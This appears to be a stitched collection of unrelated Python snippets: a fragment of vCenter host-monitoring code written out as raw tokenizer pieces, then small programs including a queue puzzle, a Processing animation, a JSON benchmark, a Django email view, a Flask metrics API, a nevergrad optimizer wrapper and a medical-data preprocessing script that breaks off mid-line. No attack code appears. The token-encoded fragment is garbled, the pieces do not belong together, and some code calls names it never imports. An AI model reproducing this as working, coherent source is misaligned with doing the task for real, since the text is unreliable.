"Ġiterate", "Ġover", "Ġeach", "Ġchild", "Ġnode", "Ġin", "Ġthis", "Ġobject", "Ġgroup", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġchild", "_", "obj", ",", "Ġchild", "_", "name", "Ġin", "Ġchildren", ".", "items", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġstats", "Ġ=", "Ġpoll", "_", "child", "(", "server", ",", "Ġchild", "_", "obj", ",", "Ġchild", "_", "name", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġchild", "_", "stats", "[", "child", "_", "name", "]", "Ġ=", "Ġstats", "ĊĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġaggregate", "Ġdata", "Ġfrom", "Ġeach", "Ġchild", "Ġto", "Ġthe", "Ġtop", "Ġlevel", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġcpu", "_", "total", "Ġ+=", "Ġstats", "[\"", "cpu", "_", "total", "\"]", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġcpu", "_", "usage", "Ġ+=", "Ġstats", "[\"", "cpu", "_", "usage", "\"]", "ĊĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġmem", "_", "total", "Ġ+=", "Ġstats", "[\"", "mem", "_", "total", "\"]", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġmem", "_", "usage", "Ġ+=", "Ġstats", "[\"", "mem", "_", "usage", "\"]", "ĊĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġv", "ms", "_", "total", "Ġ+=", "Ġstats", "[\"", "vms", "_", "total", "\"]", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġv", "ms", "_", "running", "Ġ+=", "Ġstats", "[\"", "vms", "_", "running", "\"]", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġv", "ms", "_", "stopped", "Ġ+=", "Ġstats", "[\"", "vms", "_", "stopped", "\"]", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "Ġre", "calculate", "Ġpercent", "ages", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġcpu", "_", "total", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġcpu", "_", "percent", "Ġ=", "Ġcpu", "_", "usage", "Ġ/", "Ġfloat", "(", "cpu", "_", "total", ")", "Ġ*", "Ġ", "1", "0", "0", "ĊĊĠĠĠĠĠĠĠ", "Ġif", "Ġmem", "_", "total", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġmem", "_", "percent", "Ġ=", "Ġmem", "_", "usage", "Ġ/", "Ġfloat", "(", "mem", "_", "total", ")", "Ġ*", "Ġ", "1", "0", "0", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "Ġreturn", "Ġthe", "Ġcurrent", "Ġmetrics", "Ġfor", "Ġthis", "Ġgroup", "ĊĠĠĠĠĠĠĠ", "Ġgroup", "_", "stats", "Ġ=", "Ġ{", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "cpu", "_", "total", "\":", "Ġcpu", "_", "total", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "cpu", "_", "usage", "\":", "Ġcpu", "_", "usage", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "cpu", "_", "percent", "\":", "Ġcpu", "_", "percent", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "mem", "_", "total", "\":", "Ġmem", "_", "total", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "mem", "_", "usage", "\":", "Ġmem", "_", "usage", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "mem", "_", "percent", "\":", "Ġmem", "_", "percent", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "vms", "_", "total", "\":", "Ġv", "ms", "_", "total", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "vms", "_", "running", "\":", "Ġv", "ms", "_", "running", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "vms", "_", "stopped", "\":", "Ġv", "ms", "_", "stopped", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġchild", "_", "type", ":", "Ġchild", "_", "stats", ",", "ĊĠĠĠĠĠĠĠ", "Ġ}", "ĊĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġgroup", "_", "stats", "ĊĊĠĠĠ", "Ġdef", "Ġpoll", "_", "host", "(", "self", ",", "Ġserver", ",", "Ġobj", ",", "Ġname", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "ĠG", "ather", "Ġmetrics", "Ġabout", "Ġa", "Ġspecific", "Ġhost", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠVI", "Server", "Ġserver", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġvalid", "Ġconnection", "Ġto", "Ġa", "Ġv", "Center", "Ġserver", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠM", "OR", "Ġobj", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠManaged", "Ġobject", "Ġfor", "Ġthe", "Ġhost", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "Ġstr", "Ġname", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠName", "Ġof", "Ġthe", "Ġhost", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "returns", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġdictionary", "Ġwith", "Ġseveral", "Ġkeys", "Ġdescribing", "Ġthe", "Ġcurrent", "Ġstate", "Ġof", "Ġthe", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġhost", ",", "Ġincluding", "ĠCPU", ",", "Ġmemory", ",", "Ġand", "Ġvirtual", "Ġmachine", "Ġinformation", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĊĠĠĠĠĠĠĠ", "Ġself", ".", "log", ".", "debug", "(\"", "found", "Ġhost", ":", "Ġ%", "s", "\"", "Ġ%", "Ġ(", "name", ",))", "ĊĊĠĠĠĠĠĠĠ", "Ġstatus", "Ġ=", "Ġ", "0", "ĊĠĠĠĠĠĠĠ", "Ġcpu", "_", "total", "Ġ=", "Ġcpu", "_", "usage", "Ġ=", "Ġcpu", "_", "percent", "Ġ=", "Ġcpu", "_", "count", "Ġ=", "Ġcpu", "_", "m", "hz", "_", "per", "_", "core", "Ġ=", "Ġ", "0", "ĊĠĠĠĠĠĠĠ", "Ġmem", "_", "total", "Ġ=", "Ġmem", "_", "usage", "Ġ=", "Ġmem", "_", "percent", "Ġ=", "Ġ", "0", "ĊĠĠĠĠĠĠĠ", "Ġv", "ms", "_", "total", "Ġ=", "Ġv", "ms", "_", "running", "Ġ=", "Ġv", "ms", "_", "stopped", "Ġ=", "Ġ", "0", "ĊĊĠĠĠĠĠĠĠ", "Ġif", "Ġ\".\"", "Ġin", "Ġname", "Ġand", "Ġname", ".", "count", "(\".\")", "Ġ!=", "Ġ", "3", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġname", "Ġ=", "Ġname", ".", "split", "(\".", "\")[", "0", "]", "ĊĊĠĠĠĠĠĠĠ", "Ġprops", "Ġ=", "Ġserver", "._", "retrieve", "_", "properties", "_", "traversal", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġproperty", "_", "names", "=[", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "name", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "summary", ".", "overall", "Status", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "summary", ".", "quick", "Stats", ".", "overall", "Memory", "Usage", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "summary", ".", "quick", "Stats", ".", "overall", "Cpu", "Usage", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "summary", ".", "hardware", ".", "memory", "Size", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "summary", ".", "hardware", ".", "num", "Cpu", "Co", "res", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "summary", ".", "hardware", ".", "cpu", "M", "hz", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ],", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfrom", "_", "node", "=", "obj", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġobj", "_", "type", "=\"", "Host", "System", "\",", "ĊĠĠĠĠĠĠĠ", "Ġ)", "ĊĊĠĠĠĠĠĠĠ", "Ġfor", "Ġprop", "_", "set", "Ġin", "Ġprops", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġprop", "Ġin", "Ġprop", "_", "set", ".", "Prop", "Set", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġpn", ",", "Ġpv", "Ġ=", "Ġprop", ".", "Name", ",", "Ġprop", ".", "Val", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġpn", "Ġ==", "Ġ\"", "summary", ".", "overall", "Status", "\":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġstatus", "Ġ=", "ĠHOST", "_", "STATUS", ".", "index", "(", "pv", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġpn", "Ġ==", "Ġ\"", "summary", ".", "quick", "Stats", ".", "overall", "Memory", "Usage", "\":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġmem", "_", "usage", "Ġ=", "Ġpv", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġpn", "Ġ==", "Ġ\"", "summary", ".", "quick", "Stats", ".", "overall", "Cpu", "Usage", "\":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġcpu", "_", "usage", "Ġ=", "Ġpv", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġpn", "Ġ==", "Ġ\"", "summary", ".", "hardware", ".", "memory", "Size", "\":", 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a571abd88184c8d8bb05245e9c3ce2e4dabb4c09
import sys from collections import deque t = int(sys.stdin.readline().rstrip()) for _ in range(t): n, m = map(int, sys.stdin.readline().split()) q = deque(map(int, sys.stdin.readline().split())) count = 0 while q: highest = max(q) doc = q.popleft() m -= 1 if doc != highest: q.append(doc) if m < 0: m = len(q) - 1 else: count += 1 if m < 0: print(count) break
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2257494dec9fccc4e8bd4acf0aff31a73c252a61
h = 160 xorg = 0 yoff = 400 xcount = 0 xvel = 2 def setup(): size(800, 800) colorMode(HSB, 360, 1, 1, 1) background(140, 0.49, 0.75) frameRate(30) noStroke() def draw(): global h, xorg, yoff, xcount, xvel if frameCount % 10 == 0: fill(140, 0.49, 0.75, 0.2) square(0, 0, width) pushMatrix() translate(xorg, yoff) y = sin((frameCount % 20) / 20.0 * PI + PI) * h if frameCount % 20 == 0 and frameCount > 0: h -= 50 if h <= 0: fill(0) ellipse(xcount, y, 25, 10) fill(0, 0, 1) circle(xcount, y, 5) yoff = random(300, 700) xcount = 0 xvel = random(1, 3) if random(1) > 0.5: xvel *= -1 xorg = random(400, 600) else: xorg = random(50, 400) h = int(random(3, 7)) * 50 else: fill(0, 0, 1) circle(xcount, y, 5) xcount += xvel popMatrix() saveFrame("frames/####.jpg") if frameCount > 700: noLoop()
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6f99b4e4204e85c78f9c02a5cd53cd76f52c022c
import ujson as json import platform import socket import os from pathlib import Path def test_json(text): jobj = json.loads(text) l = len(jobj["coordinates"]) x = 0 y = 0 z = 0 for coord in jobj["coordinates"]: x += coord["x"] y += coord["y"] z += coord["z"] print(x / l) print(y / l) print(z / l) def notify(msg): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: if not s.connect_ex(("localhost", 9001)): s.sendall(bytes(msg, "utf8")) if __name__ == "__main__": text = Path("/tmp/1.json").read_text() notify("%s UltraJSON\t%d" % (platform.python_implementation(), os.getpid())) test_json(text) notify("stop")
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94be205e516c1f1248b6028419c04c927236596e
# Copyright (c) OpenMMLab. All rights reserved. import torch from mmagic.registry import MODELS def test_colorization_net(): model_cfg = dict(type="ColorizationNet", input_nc=4, output_nc=2, norm_type="batch") # build model model = MODELS.build(model_cfg) # test attributes assert model.__class__.__name__ == "ColorizationNet" # prepare data input_A = torch.rand(1, 1, 256, 256) input_B = torch.rand(1, 2, 256, 256) mask_B = torch.rand(1, 1, 256, 256) target_shape = (1, 2, 256, 256) # test on cpu (out_class, out_reg, feature_map) = model(input_A, input_B, mask_B) assert isinstance(feature_map, dict) assert feature_map["conv1_2"].shape == (1, 64, 256, 256) and feature_map["out_reg"].shape == target_shape # test on gpu if torch.cuda.is_available(): model = model.cuda() input_A = input_A.cuda() input_B = input_B.cuda() mask_B = mask_B.cuda() (out_class, out_reg, feature_map) = model(input_A, input_B, mask_B) assert isinstance(feature_map, dict) for item in feature_map.keys(): assert torch.is_tensor(feature_map[item])
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cb3c1adb9d91aecee5b21774d61dfe9400a330fa
from point import Point from velocity import Velocity import arcade import config PADDLE_WIDTH = 15 PADDLE_HEIGHT = 30 class Paddle: def __init__(self): self.center = Point(390, 50) self.velocity = Velocity(0, 5) def draw(self): self.drawing = arcade.draw_rectangle_filled( self.center.x, self.center.y, config.PADDLE_WIDTH, config.PADDLE_HEIGHT, arcade.color.ELECTRIC_LIME ) def move_up(self): if self.center.y < config.SCREEN_HEIGHT - (config.PADDLE_HEIGHT / 2): self.center.y = self.center.y + self.velocity.dy def move_down(self): if self.center.y > 0 + (config.PADDLE_HEIGHT / 2): self.center.y = self.center.y - self.velocity.dy
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44224985dbfa6234eff406149ce25e1d00b512e9
class Anagram(object): def __init__(self, word): self.word = word self.canonical = self._canonicalize(word) def _canonicalize(self, word): return sorted(word.lower()) def _is_anagram(self, word): return word != self.word and self._canonicalize(word) == self.canonical def match(self, words): return filter(self._is_anagram, words)
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c2839046592469dfae7526f72be947126960ba19
from django.shortcuts import render from django.contrib.auth.decorators import login_required from django.views.decorators.csrf import csrf_exempt # Create your views here. from projects.models import Project from django.db import connection from .utils import namedtuplefetchall from django.http import JsonResponse from django.contrib import messages import json from django.views.decorators.csrf import csrf_exempt from .utils import send_mail from DBMS import settings from passlib.hash import pbkdf2_sha256 as encrypto # Create your views here. @login_required @csrf_exempt def social(request): if request.method == "POST": data = request.POST project_id = int(json.loads(data.get("projid"))) head = data.get("head") head = json.loads(head) subhead = json.loads(data.get("subh")) content = json.loads(data.get("cont")) obtained = json.loads(data.get("pass")) with connection.cursor() as curr: curr.execute("SELECT manager_id,customer_id FROM socialMedia where project_id=%s", [project_id]) rec_id = namedtuplefetchall(curr) manager_id = rec_id[0].manager_id customer_id = rec_id[0].customer_id print("SENDING") with connection.cursor() as curr: curr.execute("select contact from customer where customer_id = %s", [customer_id]) email = namedtuplefetchall(curr) customer_email = email[0].contact # Rename the email field with customer_email to send to customers when we have actual data pwd = settings.EMAIL_HOST_PASSWORD if encrypto.verify(obtained, pwd) == True: # print("asjdhasd") send_mail( head, subhead + "\n" + content, "Gauri Baraskar", "[email protected]", settings.EMAIL_HOST_USER, obtained, ) else: messages.warning(request, "Wrong Password Entered") return JsonResponse(1, safe=False) else: with connection.cursor() as curr: curr.execute( "select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id", [request.user.id], ) res = namedtuplefetchall(curr) return render(request, "social/index.html", {"social": res})
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1431a0049c05a99e0b68052f56bf8e2e3c48e1aa
from flask import request from flask_restful import abort from sqlalchemy.exc import SQLAlchemyError from gm.main.models.model import ( db, Metric, QuantModelMetricSchema, MlModelMetricSchema, Frequency, QuantModelMetric, MlModelMetric, ThresholdType, ) from gm.main.resources import success, get_metric_by_id, BaseResource class MetricsResource(BaseResource): """ This resource handles the HTTP requests coming to the endpoint "/metrics". Note: no trailing slash ("/") should be used. Accepted HTTP methods: GET, POST """ def get(self): """ Implements the GET method for endpoint "/metrics". By default the results are order by 'metric_id' ascending. Implemented Query Parameters: - is_active: to filter results that are either active or inactive. Boolean and case insensitive. - frequency: filter results based on a metric frequency. Values of this enum must be respected. Case insensitive. - threshold_type: filter results based on a metric threshold type. Values of this enum must be respected. Case insensitive. - sort: allows one to order the resulting collecting by 'metric_id' in descending order. This should be done by specifying the query parameter as "sort=-metric_id". Case insensitive. Note: if unknown query parameters are given these will be ignored. :return: a collection of metrics """ query = self.build_query() metrics = query.all() result = self.schema_collection.dump(metrics) return success(result) def build_query(self): """ Builds the query (without executing it) to the be used in the GET method. :return: query with all the query conditions specified for obtaining the metrics that are in the database and respect the desired filters (query parameters). """ # this filter is required query = Metric.query.filter(Metric.metric_type == self.metric_type) # get query parameters (parameters which are not here are ignored) is_active = request.args.get("is_active") frequency = request.args.get("frequency") threshold_type = request.args.get("threshold_type") sort = request.args.get("sort") # process each parameter, and if valid add it as a query condition if is_active is not None: is_active = is_active.lower() == "true" query = Metric.query.filter_by(is_active=is_active) if frequency is not None: try: frequency = Frequency.from_name(frequency) except ValueError as e: msg = f"Invalid 'frequency': {frequency}. Use one of {Frequency.values()}" abort(400, message=msg) query = query.filter_by(frequency=frequency) if threshold_type is not None: try: threshold_type = ThresholdType.from_name(threshold_type) except ValueError as e: msg = f"Invalid 'threshold_type': {threshold_type}. Use one of {ThresholdType.values()}" abort(400, message=msg) query = query.filter_by(threshold_type=threshold_type) if sort is not None and sort.lstrip("-") == "metric_id": query = query.order_by(Metric.metric_id.desc()) else: query = query.order_by(Metric.metric_id) return query def post(self): """ Implements the POST method for endpoint "/metrics". It should be used to create a new metric. :return: the metric as a json created in the database (in case of success) """ json_data = request.get_json(force=True) if not json_data: abort(400, message="No input data provided") # make sure the metric_id (temporary) and metric_type (model) are filled json_data["metric_id"] = "TBD" json_data["metric_type"] = "model" # validate and deserialize input new_metric = self.load(json_data, session=db.session) # get the next metric id and update metric object try: db.session.add(new_metric) db.session.commit() except SQLAlchemyError as e: abort(400, message=f"Database error. Reason: {e}") # dump to json and return result result = self.schema.dump(new_metric) return success(result, code=201) class QuantModelMetricsResource(MetricsResource): """ This resource handles the HTTP requests coming to the endpoint "/quant_model/metrics/{metric_id}". This subclass uses almost everything from the base class, it only needs to specify the appropriate schemas in the constructor, and to override the build_query method so that the appropriate metric_type is filtered and the remaining query parameters (specific to this endpoint) are processed. Implemented Query Parameters: - asset_class: to filter results by a given asset class. - model_name: to filter results by a given model name. - pricing_library: to filter results for a given pricing library. Note: no trailing slash ("/") should be used. Accepted HTTP methods: GET, POST """ def __init__(self, **kwargs): """ Initialize schemas with appropriate classes. :param kwargs: pass through to base constructor (service and metric_type) """ schema = QuantModelMetricSchema() schema_collection = QuantModelMetricSchema(many=True) super().__init__(schema, schema_collection, **kwargs) def build_query(self): """ Override method to include specific query parameters to this model endpoint. """ # build query from base class add required field for joining with parent query = super().build_query() query = query.filter(Metric.metric_id == QuantModelMetric.metric_id) # get the remaining query parameters asset_class = request.args.get("asset_class") model_name = request.args.get("model_name") pricing_library = request.args.get("pricing_library") # process each parameter and, if valid, add as a query condition if asset_class is not None: query = query.filter(QuantModelMetric.asset_class == asset_class) if model_name is not None: query = query.filter(QuantModelMetric.model_name == model_name) if pricing_library is not None: query = query.filter(QuantModelMetric.pricing_library == pricing_library) return query class MlModelMetricsResource(MetricsResource): """ This resource handles the HTTP requests coming to the endpoint "/ml_model/metrics/{metric_id}". This subclass uses almost everything from the base class, it only needs to specify the appropriate schemas in the constructor, and to override the build_query method so that the appropriate metric_type is filtered and the remaining query parameters (specific to this endpoint) are processed. Implemented Query Parameters: - algorithm: to filter results by a given algorithm. Note: no trailing slash ("/") should be used. Accepted HTTP methods: GET, POST """ def __init__(self, **kwargs): """ Initialize schemas with appropriate classes. :param kwargs: pass through to base constructor (service and metric_type) """ schema = MlModelMetricSchema() schema_collection = MlModelMetricSchema(many=True) super().__init__(schema, schema_collection, **kwargs) def build_query(self): """ Override method to include specific query parameters to this ml_model endpoint. """ query = super().build_query() query = query.filter(Metric.metric_id == MlModelMetric.metric_id) algorithm = request.args.get("algorithm") if algorithm is not None: query = query.filter(MlModelMetric.algorithm == algorithm) return query class MetricResource(BaseResource): """ This resource handles the HTTP requests coming to the endpoint "/metrics/{metric_id}". Note: no trailing slash ("/") should be used. Accepted HTTP methods: GET, PUT, DELETE """ def get(self, metric_id): """ Implements the GET method for endpoint "/metrics/{metric_id}". It should be used to get a single metric from the database. :param metric_id: the metric_id associated with this endpoint :return: the json object of metric found in the database (if it exists) """ metric = get_metric_by_id(metric_id) return self.schema.jsonify(metric) def put(self, metric_id): """ Implements the PUT method for endpoint "/metrics/{metric_id}". It should be used to update a metric. :param metric_id: the metric_id associated with this endpoint :return: the metric as a json after the update (in case of success) """ json_data = request.get_json(force=True) if not json_data: abort(400, message="No input data provided") # Validate and deserialize input metric = get_metric_by_id(metric_id) self.load(json_data, metric, db.session, partial=True) # if it was found and deserialized successfully try to commit try: db.session.commit() except SQLAlchemyError as e: abort(400, message=f"Database error. Reason: {e}") return success(json_data) def delete(self, metric_id): """ Implements the DELETE method for endpoint "/metrics/{metric_id}". It should be used to delete a metric result matching the provided metric_id and cob_date. :param metric_id: the metric_id associated with this endpoint :return: the metric as a json after the delete (in case of success) """ metric = get_metric_by_id(metric_id) # dump as json to send in the end if del is successful result = self.schema.dump(metric) # if result was found, delete it from database try: db.session.delete(metric) db.session.commit() except SQLAlchemyError as e: abort(400, message=f"Database error. Reason: {e}") return success(result) class QuantModelMetricResource(MetricResource): """ This resource handles the HTTP requests coming to the endpoint "/quant_model/metrics/{metric_id}". This subclass uses everything from the base class and only needs to specify the appropriate schemas in the constructor. Note: no trailing slash ("/") should be used. Accepted HTTP methods: GET, PUT, DELETE """ def __init__(self, **kwargs): """ Initialize schemas with appropriate classes. :param kwargs: pass through to base constructor (service and metric_type) """ schema = QuantModelMetricSchema() schema_collection = QuantModelMetricSchema(many=True) super().__init__(schema, schema_collection, **kwargs) class MlModelMetricResource(MetricResource): """ This resource handles the HTTP requests coming to the endpoint "/ml_model/metrics/{metric_id}". This subclass uses everything from the base class and only needs to specify the appropriate schemas in the constructor. Note: no trailing slash ("/") should be used. Accepted HTTP methods: GET, PUT, DELETE """ def __init__(self, **kwargs): """ Initialize schemas with appropriate classes. :param kwargs: pass through to base constructor (service and metric_type) """ schema = MlModelMetricSchema() schema_collection = MlModelMetricSchema(many=True) super().__init__(schema, schema_collection, **kwargs)
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4a136a6284add3bcbd7f9546e18e79151cea685f
import nevergrad as ng import numpy as np import torch from pix2latent.utils.image import binarize class _BaseNevergradOptimizer: """ Base template for NeverGrad optimization. Should be used jointly with BaseOptimizer. For full list of available optimizers > https://github.com/facebookresearch/nevergrad or ... > print(self.valid_methods) Args: method: nevergrad optimization method NOTE: nevergrad CMA have been observed to perform wrose than the original codebase. use with warning. nevergrad has a perk of being optimized in parallel, hence batch-size can be arbitrarily chosen. """ def __init__(self, method): self.method = method self.valid_methods = [x[0] for x in ng.optimizers.registry.items()] # this is not an exhaustive list self.sequential_methods = ["SQPCMA", "chainCMAPowell", "Powell"] self.is_sequential = self.method in self.sequential_methods if self.is_sequential: seq_msg = "{} is a sequential method. batch size is set to 1" cprint(seq_msg.format(self.method), "y") assert self.method in self.valid_methods, f"unknown nevergrad method: {self.method}" self.ng_optimizers = {} self._sampled = {} return @torch.no_grad() def setup_ng(self, var_manager, budget): """ initializes NeverGrad optimizer. Args var_manager (VariableManger): instance of the variable manager budget (int): number of optimization iteration. """ for var_name, var_dict in var_manager.variable_info.items(): if var_dict["grad_free"] is False: continue if type(var_dict["grad_free"]) == tuple: mu, sigma = var_dict["grad_free"] if mu is None: mu = np.zeros(var_dict["shape"]) if sigma is None: sigma = 1.0 cma_opt = CMA(mu, sigma=sigma) else: mu = np.zeros(var_dict["shape"]) sigma = 1.0 opt_fn = ng.optimizers.registry[self.method] p = ng.p.Array(init=mu) # .set_mutation(sigma=sigma) ng_opt = opt_fn(parametrization=p, budget=budget) self.ng_optimizers[(var_dict["var_type"], var_name)] = ng_opt assert len(self.ng_optimizers.keys()) == 1, ( "currently only a single input variable can be optimized via " + "Nevergrad but got: {}".format(self.ng_optimizers.keys()) ) return @torch.no_grad() def ng_init(self, var_manager, num_samples): """ Args var_manager (VariableManger): instance of the variable manager num_samples (int): number of samples for mini-batch optimization """ if self.is_sequential: vars = var_manager.initialize(num_seeds=1) num_samples = 1 else: vars = var_manager.initialize(num_samples=num_samples) for (var_type, var_name), ng_opt in self.ng_optimizers.items(): ng_data = [ng_opt.ask() for _ in range(num_samples)] _ng_data = np.concatenate([x.args for x in ng_data]) for i, d in enumerate(_ng_data): vars[var_type][var_name].data[i].data = torch.Tensor(d).data.type_as(vars[var_type][var_name].data[i].data) self._sampled[(var_type, var_name)] = ng_data return vars @torch.no_grad() def ng_update(self, variables, loss=None, inverted_loss=False): """ Updates NG distribution either with the provided loss or loss that is recomputed. Args: variables (dict): a dictionary instance generated from the variable manager. loss (array or list): a 1-dimensional array or list consisting of losses corresponding to each sample. If the loss is not provided, uses the variables to recompute the loss. [Default: None] inverted_loss (bool): if True, the loss is computed after inverting the generated images back to the original target. For example this is used to compute the loss on the original target. [Default: False] """ for (var_type, var_name), ng_opt in self.ng_optimizers.items(): ng_data = self._sampled[(var_type, var_name)] if loss is None: out, loss, _ = self.step(variables, optimize=False) if inverted_loss and hasattr(variables, "transform"): target_type = self.var_manager.variable_info["target"]["var_type"] weight_type = self.var_manager.variable_info["weight"]["var_type"] target = self.var_manager.variable_info["target"]["default"] weight = self.var_manager.variable_info["weight"]["default"] target = target.unsqueeze(0).type_as(out) weight = weight.unsqueeze(0).type_as(out) t_fn = self.transform_fns["target"]["fn"] t_param = torch.stack(variables.transform.t.data) out = t_fn(out, t_param, invert=True) loss = self.loss_fn(out, target, binarize(weight)) loss = loss.cpu().detach().numpy() for d, l in zip(ng_data, loss): ng_opt.tell(d, l) return
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1bf79319613ca1454f3a9ed21068bd899616395c
# -*- coding: utf-8 -*- s = "123" try: print(int(s) + 1) print(int(s) / 1) except ValueError as ve: print("ValueError occurs!!!", ve) except ZeroDivisionError as e: print("ValueError occurs!!!", e) except: print("Error occurs!!!") else: print("elseeeeeeeeeeeeeee") finally: print("ABCDEFG") # try: # # 예외 발생 가능 코드들 # except: # # 예외시 처리될 구문 # except: # pass #씹겠다?! # else: # #예외가 없을 경우 실행되는 부분 # finally: # #예외가 있던 없던 실행되는 부분
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40bc8122d98d407341a56251f9abfab019e0acd8
from collections import Counter from enum import auto, Enum class Category(Enum): ONES = 1 TWOS = 2 THREES = 3 FOURS = 4 FIVES = 5 SIXES = 6 YACHT = auto() FULL_HOUSE = auto() FOUR_OF_A_KIND = auto() LITTLE_STRAIGHT = auto() BIG_STRAIGHT = auto() CHOICE = auto() def score(dice, category): die_counts = Counter(dice) if category.value in range(1, 7): return sum(d for d in dice if d == category.value) if category is Category.YACHT: return 50 if len(die_counts) == 1 else 0 if category is Category.CHOICE: return sum(dice) if category is Category.BIG_STRAIGHT: return 30 if 1 not in die_counts and len(die_counts) == 5 else 0 if category is Category.LITTLE_STRAIGHT: return 30 if 6 not in die_counts and len(die_counts) == 5 else 0 if category is Category.FULL_HOUSE: return sum(dice) if len(die_counts) == 2 and 3 in die_counts.values() else 0 if category is Category.FOUR_OF_A_KIND: four_die = [d for d, c in die_counts.items() if c >= 4] return four_die[0] * 4 if four_die else 0
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3e07a2a2d0a810c016720fa41d71d0771cbccfef
from tqdm import tqdm import os import pandas as pd import pickle import numpy as np def inv_list(l, start=0): d = {} for i in range(len(l)): d[l[i]] = i + start return d raw_data_path = "/home/reddy/sindhu/datasets/physionet_2012/" def read_dataset(d): ts = [] pbar = tqdm(os.listdir(raw_data_path + "/set-" + d), desc="Reading time series set " + d) for f in pbar: data = pd.read_csv(raw_data_path + "/set-" + d + "/" + f).iloc[1:] data = data.loc[data.Parameter.notna()] if len(data) <= 5: continue data = data.loc[data.Value >= 0] # neg Value indicates missingness. data["RecordID"] = f[:-4] ts.append(data) ts = pd.concat(ts) return ts ts = pd.concat((read_dataset("a"), read_dataset("b"), read_dataset("c"))) ts.Time = ts.Time.apply(lambda x: int(x[:2]) + int(x[3:]) / 60) # No. of hours since admission. ts.rename(columns={"Time": "hour", "Parameter": "variable", "Value": "value"}, inplace=True) oc_a = pd.read_csv(raw_data_path + "/Outcomes-a.txt", usecols=["RecordID", "Length_of_stay", "In-hospital_death"]) oc_a["subset"] = "a" oc_b = pd.read_csv(raw_data_path + "/Outcomes-b.txt", usecols=["RecordID", "Length_of_stay", "In-hospital_death"]) oc_b["subset"] = "b" oc_c = pd.read_csv(raw_data_path + "/Outcomes-c.txt", usecols=["RecordID", "Length_of_stay", "In-hospital_death"]) oc_c["subset"] = "c" oc = pd.concat((oc_a, oc_b, oc_c)) oc.RecordID = oc.RecordID.astype(str) oc.rename(columns={"Length_of_stay": "length_of_stay", "In-hospital_death": "in_hospital_mortality"}, inplace=True) rec_ids = sorted(list(ts.RecordID.unique())) rid_to_ind = inv_list(rec_ids) oc = oc.loc[oc.RecordID.isin(rec_ids)] ts["ts_ind"] = ts.RecordID.map(rid_to_ind) oc["ts_ind"] = 